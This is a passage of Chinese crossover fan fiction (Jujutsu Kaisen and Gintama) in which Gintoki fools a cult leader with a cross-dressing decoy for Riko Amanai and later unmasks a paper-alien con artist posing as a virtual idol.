七海建人忍不住松了口气，揉了揉额角：“应该是这样，你怎么说？是要在这附近先休息一下，还是直接坐飞机回高专？”
“那当然是立即回去了！”灰原雄右手握拳做了个打气的动作，“说不定回到高专之后，前辈还有需要我们援助的地方呢？”
本来已经准备好下班的七海建人深深的无语住了，他不由得感叹：“... ...你还真是精力充沛。”
“你们好，请问是高专一年级的学生吗？”
突然的询问让原本放松下来的两人瞬间警惕起来，第一时间面朝搭话的人。
七海建人右手朝着背后的武器伸去，眼睛微眯，判断这面前两人的身份：“你们有什么事吗？”
“性格严肃、三七分刘海的金发外国人，你就是七海建人吧？”
身材更为娇小的一人摘下墨镜，露出一张熟悉的脸庞。
一张在七海建人和灰原雄出发做任务前，在任务信息中反复查看了很多次的脸。
“天内理子？”灰原雄下意识提高了音量，然后顾忌着场所，立马压低声音，“你们不是被前辈们送上飞机了吗？为什么还在这？”
旁边的另一位对这个问题一时间不知道如何开口，手下意识地卷着特意被划出来的一缕刘海。
“对啊，星浆体确实已经被送往东京了。”天内理子戴上墨镜，猛地甩了下自己的白色假发，嘴角一侧上扬四十五度，“所以从现在开始，我就是五条悟了！”
除了沉浸于角色扮演的天内理子，剩下的三人都陷入了沉默。
过了一会，反应过来的灰原雄很配合地鼓起了掌，虽然他还是没搞清状况，但只要是前辈做的决定，他都无条件服从。
黑井美里是觉得这个计划有点太荒唐，但因为想不出更好的办法，只好半强迫地答应了，但此刻内心还是感觉有些羞耻。
而七海建人则是在沉默后想明白了。
前辈们的计划是什么都不重要，现在这局面，只可能意味着前辈们将护卫的任务扔给了他。
他现在不但不能回去，还要再继续加班。
极致的愤怒让七海建人浑身散发着和社畜同款的黑气，一手握瘪了手里的易拉罐，并说出那句经典台词：“咒术师都是狗屎！”
盘星教内，负责联系坂田银时行动的高层，坐在办公室中，看着窗外的黄昏，内心忍不住开始焦急。
离天元和星浆体同化的时间已经很接近了，但他委托的两个诅咒师都还没有给他回信，这难免让他坐立难安。
眼看着太阳就要落下，在他耐心告罄之前，属下终于带来好消息。
“那两个诅咒师把星浆体带过来了，现在正在会客室。”
“好好好！”高层大喜过望，立刻站起身，“快带我过去！”
他脸上洋溢着无法控制的喜悦，迈出去的脚步频率越来越快，等到了目的地，甚至因为走得过快有些大喘气。
等到稍稍平定下气息，他理了理身上的着装，用因为激动而微微颤抖的双手推开会客厅大门。
“两位辛苦了！星浆体... ...”
室内四个人一个赛一个强壮的体格，让他卡住了想要说的话，尤其是意识到身为韩国前刑警的中介人孔时雨，竟然算是体格最瘦弱的那个。
本能的，他开始感觉有些不对劲：“星浆体呢？已经死了吗？”
重新穿上自己特摄战袍，披上诅咒师“烂梗”马甲的坂田银时摇了摇手，在众目睽睽下，将会客室内被他翻开的抽屉推了回去：“你在说什么呢？星浆体不就好好站在你的面前吗？”
“面前？”
高层快速略过熟识的坂田银时、伏黑甚尔和孔时雨，最后将目光定格在唯一一个陌生的人身上。
这个人身上确实是穿着JK的制服裙，黑色的长发编成了一股麻花辫垂在脑后，光从背影这个穿着来看确实很符合星浆体天内理子的特征。
但是没有人会觉得这个人就是天内理子，毕竟一个除了体质特殊，其他方面都和普通人无异的十几岁少女，是绝对不会有那种可以将校服撑破的肌肉的！
更不要说这一米八几的大高个，就算是他，看过去的时候也要微微抬起头。
他喜悦的心情瞬间消散，眼睛瞪大，颤抖着抬起手，指向唯一可疑的存在：“... ...你们不会是想说，这个人。”
那一直背对着的可疑人物，终于转过身露出了自己的庐山真面目。
“没错！正是妾身。”他娇羞地捂着半边脸，狭长的眼睛瞥了一眼又快速收了回去，“听说你爱慕妾身许久，妾身为你的诚意感动，故屈尊来此。”
额前那一缕刘海，随着他甩头的动作，在空中不断摆荡，存在感十足。
爱慕？屈尊？
每听一个词，高层额头的青筋就多一个，原本因为喜悦而扬起的眼角，此刻耷拉下来。
飙升的血压让他脸部充血泛红，眼白里甚至开始泛起血丝，被戏耍的愤怒和对天元大人可能要同化成功的恐惧交织在一起，让他一时间说不出话。
伏黑甚尔挑了挑眉，双手抱胸靠在一边的墙上，想看看这出闹剧怎么收场。
“诅咒师阁下。”身居高位的人虽然气急，但依然堪堪维持着自身的风度，“请问您是在和我开玩笑吗？这显然不是星浆体吧？！”
他从口袋里掏出一张照片举到众人面前，正是挂在悬赏上的天内理子的证件照。
“这和面
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前这人有一点相像吗？”
坂田银时伸出小拇指想掏掏耳朵，却被面具阻隔住，只好遗憾收手：“这不就是一个人吗？你看看这两只眼睛一张嘴的，简直一模一样。”
肌肉版天内理子，或者说穿着JK制服的宅十四配合着点着头：“没错，这就是我，那时候我还很瘦。”
“这就不是你！”
“不要这么死板嘛。”坂田银时走上前，无视掉高层难看到极致的神情，好哥们似的伸手搭在对方肩膀上，“你想想你的委托内容，是不是只要天元不和星浆体同化就可以了？天内就是个小丫头，没必要非要她的性命吧？把她放走也是一个选项嘛。”
“星浆体不死，谁知道天元大人会不会继续被玷污。”
“那世间那么多星浆体，你难道要一个个全查出来宰了？”
“什么？！”这信息带来的冲击，可比“天内理子没死”大得多，高层差点一口气没上来，“你是说，总监部手底下还有其他星浆体？那这个天内理子不就是用来吸引目光明晃晃的靶子吗？！”
他一时间也不去追究坂田银时的问题，急躁地在不大的会客厅中来回踱步。嘴里念念有词。
“我说怎么那么高调，保镖又是六眼，又是咒灵操使的，生怕人不知道他们在哪，原来如此。”
只需轻轻一句话，喜欢多想的人就会自己把剩下的补齐。
看着独自陷入头脑风暴的盘星教高层，坂田银时适时补充着：“所以说啊，杀一两个星浆体根本没有用，因此，贴心的我为雇主想了个办法。”
高层一改刚刚的愤怒，虚心请教：“愿闻其详。”
“首先，按照五条悟和夏油杰的性格，他们肯定不会让星浆体去送死的，这点可以放心。但是如果总监部知道天元没能同化，虽然会想问责这俩人，但当务之急肯定还是派出新的星浆体。”
坂田银时走到宅十四的身边，用力拍了拍他的后背，把对方拍得一个踉跄：“为了避免这种情况的发生，我们贴心地给他们准备了愿意同化的‘天内理子’，把他送到天元面前，一方面总监部暂时察觉不出问题，另一方面天元知道这不是星浆体也不会选择同化，等到拖过了同化的时间... ...”
这一建议得到了高层的赞同，他愤怒的心情平静下来：“不过我还有一个问题，既然这样，为什么你们不一开始就这样实行计划？还搞什么悬赏暗杀？”
“咳咳。”坂田银时移开目光，“没有袭击的话，怎么能让他们有危机感呢。”
宅十四看看这个，看看那个，眼看着好像所有人都同意了这个计划，一把抓住坂田银时的胳膊：“等等！我没听说过啊！”
拍掉宅十四的手，坂田银时背过身子，朝着宅十四挤眉弄眼。
高层眉毛一皱，不满地看过去：“你找来的这人不同意？”
“怎么会，他的意思是，这样的话原先商量好的报酬就有点不够了。”
涉及到天元的事情，高层十分爽快，大手一挥：“行，我再给你们加点！”
气氛重新回到了一开始的和谐中，所有人都觉得自己在这场交易中赚大发了。
就在这时，外面传来打砸东西和人群的嘈杂声。
顾不上打扰高层的会谈，盘星教教徒一把推开门，脸上满是惊恐：“不好了！天元教的人打进来了！”
60.第六十章
“打进来了”这句话，可以在很多场景下听到。
比如警匪片，历史剧，甚至可以是电竞直播的解说里。
但是当下和教派联系在一起，就多少有点诡异。
不过考虑到咒术界人均脑回路清奇的情况，也不是不难理解。
坂田银时回过头，对着天元教教主比了个赞。
还说自己只是碰巧选了个撞名的简称，现在都打进来了，可见之前全是借口。
现在这么看来，果然还是个把野心写到教派名字里，公然和盘星教叫板的硬角色。
宅十四一脸茫然，面对坂田银时的夸赞，只能一个劲地摇头。
盘星教高层在一开始的震惊过后，沉着脸想了想，想起来这个教派之前他调查过，还是让诅咒师“烂梗”去完成的任务，就是有了那次任务，让他觉得对方实力强劲，办事效率高，才有了这次星浆体的合作。
但现在的状况很明显和报告上对不上。
经过了刚刚的事情，高层也不好立刻翻脸，于是耐着性子放缓语气：“我记得之前是阁下调查的这个新型教派，现在的情况似乎和阁下给的报告内容冲突吧？”
“冲突吗？”坂田银时明知故问，“偶像粉丝嘛，都是这样的，说不定是来见他们的偶像星野爱呢。”
“是这样的吗？”
这个说辞显然并不能完全说服高层，但是现在纠结这些已经没有意义，于是他转而问向自己的下属：“有看清领头的人是什么样的吗？”
“呃，一个普通的上班族？”下属低着头努力回想着，“如果硬要说有什么不寻常的地方的话，可能就是那个人是端着笔记本电脑进来的。”
这打家劫舍也要办公的契约精神让现场众人下意识倒吸口气，心里升起敬佩之情。
而另一边的下属，在说出自己疑惑之处后，记忆深处打开了一角，过去更多的细节浮现在脑海：“对了！我想起来了！那个人不光带着笔记本电脑，而且好像还在一直跟它说话！”
脑洞大开的宅十四眼睛发光，但是注意点明显不对：“这年代已经开始流行人机恋了吗？这个世界精神状态这么超前？”
“问你啊教主大人。”坂田银时后退几步，侧头轻声和宅十四说话，“这种情况，不会是你教派内部出现想要夺权的叛徒了吧？电脑那头是指挥他们的人之类的。”
“什么！？我们教派绝对不能容许粉上别的偶像！背叛爱酱的人，都要被制裁！”
说完便一马当先，直接摔门，朝着最吵闹的地方赶去。
这突然的动作让盘星教高层没能第一时间反应过来，等到他想要阻止的时候，宅十四的身影已经消失在视线里。
“就这么放他走了？”他难以置信地回头看向无动于衷的三人，“这里的事情都不重要，你们快去把那个人带去天元大人那里！”
坂田银时、伏黑甚尔和孔时雨对视一眼，为了尾款，只好不情不愿地跟着高层一起朝外面走。
此时外面已经乱成了一锅粥，走几步就能看到两个教派的人扭打在一起，由于两方人都没有穿什么代表着教派符号的衣服，所以一时间看不出来哪个是哪个，就算是想帮忙也无从下手。
面前原本装修豪华的大厅，此刻到处都是断裂的木制品和碎裂的玻璃渣子。
地上积着从破碎花瓶中流出的水，沾湿了路过人的鞋底，随着人的走动，在干净的白色瓷砖上留下一个个黑色脚印。
均匀涂抹着白漆的墙面，也在打斗中，被抡着武器、桌椅的教徒们划上一个个划痕。
一路走着，看着眼前的满地狼藉，盘星教高层只觉得自己心里在滴血。
可恶的天元教，竟然这么明目张胆地在大白天就闯了进来，还偏偏挑在这个节骨眼上，肯定别有所图。
一个想法在他的内心闪过。
难道天元教就是为了让天元大人同化而诞生的教派吗？
越想越觉得心惊，他竟然放任如此危险的教派在自己的眼皮子底下存活了这么久。
而一切的原因，都是背后这个诅咒师谎报情报。
他阴沉着脸，朝后面看了眼毫无急迫感的坂田银时，心里默默记下这一笔账，准备等同化事情过去之后，再找他算账。
“教主大人！”
在偌大的建筑中，沿着宅十四无意间留下的咒力残秽，几人很快就找到了附近。
但还没有看到人，耳边便先听到了拐角处传来的此起彼伏的“教主大人”。
坂田银时从后面忍不住探头，心里好奇得很。
是传说中原著没有提及到的前任盘星教教主大人？
总感觉会和羂索有什么关系啊，要是能找到线索就更好了。
他脑子里的思绪还没来得及转过来，眼睛就先一步看清了那个被教徒们围在中间，被称呼为“教主大人”的人。
不是羂索，也不是别人，正是宅十四。
确实是教主，但却是天元教的教主。
坂田银时心里忍不住咯噔一下，脑子里想起来土方十四郎说过，在天元教教徒中，除了星野爱的粉丝之外，还有自己的粉丝。
如果这些粉丝此刻也到了盘星教，那不可能认不出宅十四，掉马也是分分钟的事情。
宅十四被认出来倒是没什么，关键是现在这个盘星教高层显然认定了天元教就是个和自己教义相反的对家教派，要是这时候让他知道这个对家教派的教主亲自来冒充星浆体，他肯定会觉得宅十四不安好心。
顺带着出这个主意的自己也别有用心。
别说尾款了，恐怕今天他们还要结下梁子。
在想明白的一瞬间，坂田银时下意识想要拦下盘星教高层，但理了下现在的情况，他脑海里闪过另一种想法，收回了伸出去的手。
没走几步，高层就看到了宅十四，耳边教徒们的赞美之言也听得更加真切。
“不愧是教主大人！穿JK制服也这么好看！”
“教主大人，您这头发用的是自己的真发吗？看起来好顺滑，求保养方法。”
“教主大人！可以拍张照片吗？废墟中的美少女JK，这个题材肯定拍出来很好看！”
“啊啊啊啊！教主大人我是您的【哔——】”
这宛如漫展的集邮现场，让高层迈出的步伐迟疑了一下，脸上愤怒的表情裂开了一瞬间，从中浮现出了疑惑。
坂田银时表示非常理解，他上次参加他们布道的时候也是这样的怀疑人生。
但疑惑没有持续多久，在看清天元教教主的真面目之后，高层果不其然的怒了。
他转身指了指坂田银时，又指了指宅十四：“好啊你们，果然是合起伙来骗我！什么星浆体不止一个，都是你们编造出来的谎言，真正的星浆体，恐怕已经和天元大人同化了吧？！”
这反复横跳的态度看得伏黑甚尔只想笑，但尽管面前的雇主已经暴跳如雷，他依然好整以暇地旁观着。
毕竟以他对坂田银时爱财性格的理解，对方应该不会放任到自己手边的钱被收回去，倒是不用担心合作谈崩。
于是继续笑看着坂田银时准备怎么圆回去。
只见坂田银时冷笑一声，下巴向上抬起四十五度，以绝对的身高优势俯视着高层：“没错，被你说中了，什么天元，什么星浆体，你们盘星教才是我们的目的。”
伏黑甚尔收回脸上的笑容：“？”
他是中间漏听了哪一段吗？
宅十四手里握着被教徒塞过来的笔和纸，听到对话停下了签名的动作，看过来的眼神茫然又惊恐。
他们竟然谋划的是这么大的事情吗？早知道在系统空间里就不用屏幕追番，好好关注外面了。
“果然如此！”高层仰天大笑，眼神阴鸷地扫过现场的所有人，“你们以为这样就能够消灭我盘星教吗？做梦！教主大人会替我们报仇的！”
没耐心听完高层的被捕感想，坂田银时挥了挥手，叫来几个教徒，把人五花大绑再堵住嘴，让现场恢复了安静。
看着眼前这一系列意料之外的跳反，在一开始的震惊过后，冷静的伏黑甚尔没一会就想通了。
这显然是顺势而为，想要让天元教把盘星教整个吞
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掉啊，如果真的成功了，盘星教也就算是自己的了。
别说尾款，就是想当个分部的代理人都不是问题，躺着赚钱的未来就在眼前。
看不出来这人野心还不小，伏黑甚尔朝着坂田银时投去认可的目光。
但他也懒得搅合进去，人多就意味着麻烦也多，所以比起合作，他更习惯单打独斗。
看着暂时没有了自己的事情，他也没有继续待下去的耐心，嘱咐孔时雨别忘了把尾款打到自己账上之后，便挥了挥手，转身回去了。
一旁，还没搞清楚情况，就快要晋升成两个教派的教主，在迷茫中加快签名的速度。
眼看着教徒越聚越多，一时半会竟然结束不了，着急的坂田银时便上前拦住：“好了好了，教主大人现在还有要事，签名就之后再说，反正以后有的是时间。”
听着耳边阵阵失望的叹息，宅十四张嘴就想说：“他还可以再签。”被一边的坂田银时提前预判，捂住了嘴。
顶着众人的目光，坂田银时顺带转移话题地询问这群教徒，带他们来的领头人是谁，又去了哪？
“是教主大人座下的四护法之一。”
“四护法？”
坂田银时迷茫，不解，震惊。
这是得多中二才会给自己属下起这么个职称。
不过想到这个人是宅十四的话，就不是那么难以接受了。
顺着教徒们的指引，很快三人就来到了一个办公区，这里是与外面格格不入的安静。
最里面的一扇门前，一个西装男板正地站在那，巡视着周围。
在看到宅十四之后，他原本面无表情的脸庞闪过惊讶：“教主大人，您怎么在这？”
宅十四咳了下，眼神飘向天花板：“... ...路过。”
尴尬的气氛蔓延开来，只有什么都不知道的坂田银时毫不受影响。
“这就是那个盘星教教徒说的‘普通上班族’？”他眨巴着墨镜下的六眼，“这不是个咒术师吗？你从哪搞来的高端人才？”
说到这个，宅十四就开始支支吾吾起来，看天看地就是不看人。
最后还是西装男主动开口：“你知道咒术师，那肯定也是咒术界的人。”
他整理了下袖口，上半身子微微前倾：“教主大人不必担忧暴露我的身份，在成为爱酱粉丝、接过护法职位的那一刻开始，我就已经做好了觉悟。”
宅十四嘴巴张合几次，眼睛不时瞥向身边的坂田银时，手在身前舞动。
看起来像是想阻止西装男继续说，但却迟迟没有动作，眼神里也透出些许期待。
“在下就职于总监部，尚未开化的时候，被指派来监视教主大人，教主大人不计前嫌，委我以重任，在下一直感激在心。”
一套夸赞之词没有一丝停顿地输出，里面没有技巧，全是感情。
听得坂田银时想鼓掌，这是怎样精湛的洗脑技术，才能把一个烂橘子变成现在这个样子啊。
宅十四双手抱胸，想要故作严肃，却怎么也控制不住嘴角上扬：“好说好说，你有这份心就好。”
“咳咳，抱歉，情到深处有些难以控制，多说了点。”西装男正了正神色，“教主大人是来找爱酱的吗？”
“啊？她真的来了？”
“是的，爱酱说想要自己一个人在这个房间里静一静，我就出来在门口替她把守着。”
虚拟偶像想要出门，要么就是从电子屏幕里，透过摄像头看向外界，要么就是中之人，也就是其中的扮演者直接出现在大众眼前。
但由于虚拟偶像是个造二次元梦类型的偶像，所以后者的情况一般都不会出现。
加上之前得知的“被西装男捧着的笔记本电脑”，所以坂田银时和宅十四都觉得只会看到电脑里的一个二次元偶像。
但当他们打开房门，却只能在桌上看到空白一片的电脑屏幕。
反而是书桌对面的墙上，出现了一个等身长度的星野爱图案。
两人一画遥遥对视，在一片沉默中，所有人都看到，墙上的那幅画缓缓眨了下眼睛。
61.第六十一章
那个不明生物此时手里正捧着满满一堆金银珠宝，因为猝不及防被看到，浑身开始止不住地颤抖。
圆润的珍珠在她指间掉落，在地板上弹起落下，最终滚到宅十四的脚边。
两人低头看了看脚边货真价实的珍珠，再抬头看向墙上会动的“星野爱”涂鸦。
虽然竭尽全力保持不动，但是干涸的眼球长时间瞪在干燥的空气中，让她最终忍不住眨了下眼睛。
而这点细节是逃不掉在场两个咒术师的眼睛的。
在察觉到自己暴露之后，“星野爱”自暴自弃地疯狂眨眼睛，挽救自己干得快要出血丝的眼球。
注意到两个人目不斜视地盯着自己，她缩了缩脖子，尴尬地笑了笑。
“你怎么在这里？”
涂鸦心虚地看着宅十四，捧着珠宝的手抖得更加厉害，让本就满当的珠宝叮呤咣啷地掉一地。
像是被倒立抓着，在空中被用力摇晃的嗅嗅，尽管努力捂住，兜里的珠宝还是不断地掉落在地上。
坂田银时蹲下1身，随手捡起脚边的一颗珍珠，举到眼前端详。
“是真的珍珠，看来这个房间内藏着不少好东西。”
边说，他边将手里的珍珠非常自然地塞进了腰带里，然后专注地蹲在地上捡漏，嘴上还像个老妈妈一样念念叨叨。
“多大的孩子了，还喜欢乱扔垃圾，真是一点也不让老妈省心，没办法我来帮你打扫打扫，对了手里的垃圾也一起扔下来吧。”
听到这个话，“星野爱”涂鸦的手瞬间不抖了，她心疼地看了眼地上的珠宝，再愤愤地瞪了下坂田银时，然后立即将手上剩下的这点全都塞到自己背后的麻袋涂鸦里。
一旁，在一开始的愣神之后，宅十四也回过了神，心里怒火中烧：“可恶的咒灵！竟然变成爱酱的模样！”
他把手伸进自己裙子里，上下身折成一个曲折的S形，艰难地从里面掏出一把武士刀。
“快说！你把我爱酱怎么了？”
墙上的“星野爱”涂鸦缩了缩脖子，讪笑了下，沿着墙朝着窗户方向缓慢地移动着。
“你在说什么呀，人家才不知道什么爱酱呢～”
她瞪大眼睛嘟着嘴，试图通过这种方式萌混过关。
“你以为我会信吗？”
宅十四费劲地拔1出刀刃，面露凶光。
“你的爱酱很明显只是下线了而已，她本人又不在这里，担心什么。”坂田银时小心地用手指拨开脸庞的刀刃，生怕对方乱挥砍到自己，“冷静点，你这样我都不方便捡垃圾了。”
“抛开这个不提，那你私自用这个形象是什么意图！交版权费了吗？提前报备了吗？项目的详情提交了吗？审核通过了吗？得到本人同意了吗？偶像的形象人设被你破坏了造成不可逆转的损失的话怎么办？”
蹲在地上的坂田银时百忙之中抬个头：“… …重点在这吗？”
“星野爱”涂鸦绞尽脑汁想着说辞：“其，其实是这样，我是个喜欢人类的咒灵，我的能力就是在所有人眼里，我的形象会变成他心里最重要的人。”
宅十四表情一愣，手中紧握的武士刀刀尖朝着地面垂下。
看着宅十四似乎内心动摇了，“星野爱”涂鸦再接再厉：“没错！也就是说，在你心里，星野爱这个人非常重要！我在你的眼里的形象，不仅不是对她本人的亵渎，反而代表着你对你推的纯净的喜爱啊！”
“… …”宅十四面无表情地眨了眨眼睛，垂下眼帘，朝上快速瞥了一眼，然后再立马收了回去，来回往复多次。
原本站直的身体不自然地扭动起来，一只手摸了摸自己的脖子，然后又摸了摸鼻子，脸上泛起红晕，憨笑着挠头，“真，真的吗？”
“星野爱”涂鸦没想到这借口能奏效，愣了几秒，然后更加用力地瞪大眼睛，声音也夹了起来：“很真很真的。”
熟练捡完所有珠宝，坂田银时“嘿咻”一声站起，接着就毫不留情地拆穿道：“那我为什么看你也是星野爱的样子？在我心里，天气预报的小姐姐都比你重要。”
“… …啧，这么多珍珠不够堵上你的嘴吗？配合我一下能怎么样？”
坂田银时：“... ...？”
还没等人反应过来询问，“星野爱”涂鸦就恢复了笑容，仿佛刚刚狰狞面目的人不是自己。
“咳咳，人家是说，你和这位是好朋友，应该经常接触到爱酱的信息，这么好的偶像，你怎么可能会不喜欢她呢。”
宅十四对这句话十分认同，用力点着头，从不知道哪里掏出一沓手册，上面全是星野爱的相关物料：“没错，坂田氏，这个世界上不会有人不喜欢爱酱的！如果有，那一定是了解得不够多。”
对于这戴着八百米厚滤镜的粉丝发言，坂田银时不想多做评价，他推开递到自己面前的物料，抬头看向“星野爱”涂鸦，眼神在涂鸦背后袋子那瞥了一下。
“你以为我会相信你这么拙劣的理由吗？”坂田银时一甩头，两个手指扣下面具上的墨镜，“你的全部秘密，都已经在我的眼睛下无所遁形了！”
只见缺了两个大洞的面具之下，一双闪瞎人的蓝色大眼珠子看了过来，仿佛防伪标识一样，宣告了他的身份。
“五条悟！”
“星野爱”涂鸦突然激动起来，直叹“吾命休矣”，也不管三七二十一，直接就往窗户那跑。
早就预料到对方行动，坂田银时不慌不忙，一把夺过宅十四手中的刀，瞄准后，不带一丝犹豫地投出，精准地刺在了“星野爱”的蓬蓬裙摆上，将其定在了墙面上。
看着顶着自己偶像的那张脸，听着耳畔的尖叫，多少让宅十四有些于心不忍：“等等，也不用这么暴力吧？”
“暴力？银桑我对待女士一向都是很温柔的。”
他大摇大摆地走近，试着伸手摸了摸麻袋，却发现根本碰不到。
看了眼还在挣扎的“星野爱”，他试着在指间凝聚咒力，然后朝着麻袋涂鸦的墙面用力一划。
墙体上留下一道数厘米的划痕，同时里面的麻袋也随着划痕开了一个大大的口子。
装在里面满满当当的珠宝失去了阻力，顺应着重力滑落，过程中彼此碰撞，发出悦耳又清脆的声响。
这些珠宝没有像麻袋和“星野爱”一样突破不出墙上的画里，而是在现实中很违和地呈现出2d转3d的特效，最后掉在现实世界的地板上。
“星野爱”朝着珠宝无力地伸出手，却只能眼睁睁地看着它们全部落入坂田银时的手中。
坂田银时捡着地上的珠宝，发出“桀桀桀桀”的反派式笑声。
如果不知道前因后果，这画面看起来就是个很标准的欺凌场面。
“它只不过是个咒灵，自己的出生它也没办法选，没必要这么折磨它。”
“星野爱”朝着宅十四露出感激的眼神，点点泪花在眼角闪烁。
“所以直接给它一个痛快就可以了。”
道谢和卖惨的话卡在嘴边，“星野爱”忍不住破口大骂：“你个怪刘海！故意拿我寻开心呢？！”
变脸之快，让人都忍不住担心它的面部肌肉会不会抽筋。
坂田银时将自己腰带塞得鼓鼓囊囊，小心翼翼地站起身，对着宅十四指指点点：“瞪大你不明显的眼睛好好看看，面前这个哪一点像咒灵？”
宅十四这才抛开粉丝滤镜，想着之前土方十四郎教的方法，用咒力聚集在眼部，再次看向“星野爱”。
“它身上，没有咒力？”
“没错。”坂田银时打了个响指，“所以这不可能是咒灵。”
“但如果不是咒灵，又是什么呢？”
两个人对视一眼，然后齐齐地蹲在“星野爱”面前，像是看动物园猩猩一样，观察着一动也不想动的“星野爱”。
坂田银时伸手戳了戳“星野爱”的脸颊：“喂喂喂，听得到吗？能不能
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回答一下我们的疑问？听话的好孩子会有奖励哦。”
但不管两人怎么问，面前这个“星野爱”就是闭着眼睛装死。
“既然这样，我就要报警了。”
“星野爱”从嘴里发出一声嗤笑，对于坂田银时的这个威胁不屑一顾。
坂田银时站起身，掏出手机举到自己耳边：“你好，请问是管理时空的警察叔叔吗？”
“你怎么知道这个？等等等等！我知道了，我错了！你想知道什么我都说！”在听到“时空管理”四个字后，“星野爱”态度一百八十度反转，在脸前双手合十，“不要向他们报警！求求了！我也只是想赚点钱而已！”
不出所料的反应让坂田银时不由得得意起来，他合上手机，脸上扬起一抹奸笑：“哦～这么怕我报警啊，那你肯定什么都能做吧？你也不想被警察知道你私底下做的事情吧？”
宅十四瞳孔地震：“坂田氏，我们这里是个绿色健康的平台！”
“… …你想到哪去了。”
坂田银时对着宅十四指指点点，脸上是对其带黄色眼镜看人的失望。
这时一直不在状态的“星野爱”反应过来，这两人的称呼和性格，跟她所熟知的五条悟夏油杰不太一样。
“你们不会也是从别的世界到这的吧？”
“谁准许你用疑问来代替回答了？”坂田银时把桌子拍地“梆梆”响，“快说！你是谁？到这里的目的是什么？为什么扮成星野爱的样子？这次的袭击是不是你组织的？”
一连串的问题像是炮弹一样砸向“星野爱”，让她一时间不知道先回答哪个问题。
这支支吾吾的样子让坂田银时误以为对方又在想什么借口，手中准备好拨打电话，嘴里开始倒计时：“十，九，八... ...”
在这宛如定制炸弹倒计时的紧迫之下，“星野爱”也不管问题是什么，一五一十地把全部的事情都交代了个干净。
如她之前所说，她并不是这个世界的住民，而是来自异世界。
她生活的星球名为纸片星，所有人出生下来就是薄薄的一层纸片，虽然也可以像其他生物一样行走，但她们还是更喜欢将自己藏匿于建筑外表上，以各个实体为媒介在各地穿梭。
等到他们成年之后，便可以对自己的样貌塑形，塑形的画风根据个人喜好，各有不同。
有些人喜欢粗犷的猛男风，有些人喜欢非人的兽型，也有像她一样，喜欢二次元美少女的外表。
因为他们身体只有一层，肩不能扛手不能提，所以在原世界很难在除自己星球之外的星球上找到工作。
就在她快要走投无路的时候，遇到了某个通过在不同时空中穿梭，利用信息差牟利的组织。
“我技术差，好不容易才找到一个时空隔膜薄的世界，这还是我加入这个组织之后干得第一笔生意，而且只求财不害命，是大大的良民啊。”
“星野爱”发出嘤嘤的哭声，嚎的声音挺大，但是泪水没见掉几滴。
她假借擦眼泪的动作，眼睛不断瞥着两人的反应，却发现这两个人一个赛一个的木头，只好讪讪地闭上了嘴。
从开始到现在，宅十四就莫名感到一丝不安，而这种感觉在听到这里的时候达到了顶峰。
直觉告诉他不要再问了，但是内心尚存的那一抹侥幸让他开口：“等等，你在这个世界是怎么赚钱的？”
“呃。”
直击要害的一问，让“星野爱”卖惨动作都停了下来。
面对着宅十四期待的眼神，让她升起撒谎的念头，但顾忌着旁边坂田银时的威胁，最终她不得不说出实话。
只听她一板一眼地背出当时自己行动之前，向上司提交的项目企划书中的内容简介：“那当然是通过做伪·虚拟偶像，利用超前的技术和理念，来实现降维打击，抢占市场先机。”
“咔嚓”一声，在这无人打扰的安静房间中，宅十四听到了自己心碎的声音。
62.第六十二章
每个追星人都可能体验过塌房的痛苦。
就像是下雨天走石板路，会随机踩中松了的一块，从而溅自己一裤子水。
吃炒土豆丝却夹到一条薯姜莫辨的生姜丝。
兴冲冲地规划了好几天去游乐园玩的路线，当天却发现最想玩的项目在关门维护。
在命运的大舞台上，总是会被强制性地塞入各种不可预知的“惊喜”。
你没法提前预判，更没办法完全避免，最多只能感叹一句“自己真是倒霉”，然后在不知道多久后的下一次，再次遇到同样的事情。
曾经，对于偶像塌房、粉丝怒骂脱粉甚至是回踩之类的事情，宅十四是不屑一顾的。
毕竟在屏幕中的形象再怎么完美，那个偶像总归是人，是人就会有不完美的一面，而在粉丝眼里光鲜亮丽的外表，同时也会放大其不完美的那一面。
一旦这一面被外界知晓，媒体、黑粉就会卷成一股无法抵抗地龙卷风，将其辛苦多年建立的舞台、地位，在一瞬间击垮。
为了避免这种情况的发生，他们更加专注于塑造自身的“完美性”，生怕一个疏忽，就成为了他们倒下的起因。
而这些人造的“完美性”，在宅十四看来透露着满满的虚假，只有真实的性格和品质才能成为吸引他的特质。
这些在二次元中都能找到，就算外界再怎么说虚幻，但在宅十四眼里，隔着次元壁的他们，就是在将全部的自己展现给观众。
他从没有怀疑过二次元的人物，所以当虚伪的假面在他面前撕开，露出底下隐藏的欲望，他比起旁人更加难以接受。
“… …哈，哈。”
他先是从口中发出断断续续的笑声，伸出手指了指“星野爱”，再看向了坂田银时。
“怎么可能，真好笑，这世界上还有这么奇怪的种族？”
但没坚持几秒，他努力想要上扬的嘴角就迅速下撇，原本就不带笑意的眼神里积攒出泪花。
整个人结实地跪倒在地上，开始胡言乱语：“纸片？哈哈哈，世界上竟然真的有纸片人，哈哈哈哈，这算不算双关？那你的星球是不是叫纸片星啊？”
接着就开始吱哇乱叫着：“啊啊啊啊啊！这个世界上为什么会有纸片星人啊！什么虚拟偶像，什么动作捕捉，你竟然一直骗我！”
这一系列大起大伏的情绪变化，看得坂田银时叹为观止，但他也忍不住疑惑：“你现在崩溃什么？一开始粉虚拟偶像的时候就应该有觉悟吧？说不定二次元美少女的背后是个大叔，这个说法能在网上广为流传，肯定不只是开玩笑啊喂。”
“不！这不一样！”
从来没有追过星，更别说是虚拟偶像这种潮流的明星，坂田银时一时间还真就不能理解：“… …哪不一样？”
“虚拟偶像的中之人，不过是众多工作人员的其中一个，就像是做成一个动漫，一个人气美少女角色的形成，背后靠的是人设监督、第一原画、第二原画、上色监督以及声优等等的共同创作。但是如果脱离了这些，告诉我，其实全部都只有她本人的话！那不就和三次元偶像没有区别了吗？！”
“… …你的理论对不对先不说，从另一个角度来看，你意外地很清醒啊。”
说着他又抬头看向那个纸片星人：“你说说你也是，赚钱的方法这么多，怎么偏偏就选了个虚拟偶像。”
纸片星人一脸看土包子的眼神看向坂田银时，嘴里啧啧作响，食指晃了晃：“还有什么比虚拟偶像还要方便的工作吗？来钱迅速、粉丝积攒又快，等到前期条件足够了，再用这些来发展教派。知道吗？没有什么比教派更赚钱了！而且最关键的是！这个国家的教派不用交税啊！”
“第一次任务就搞这么大？不怕翻车？”坂田银时用嘴努了努地上的宅十四，“如果某些极端粉丝知道被骗，说不定会报复哦。”
“这就是虚拟偶像的另一个好处了。”完全没有危机感的纸片星人，继续坦诚地说着，这些她的小巧思一直都没有人能分享，可把她憋坏了，“虚拟偶像就算是塌房了，只要道个歉，然后光速原地毕业，换个形象照样还能回来继续敛财。”
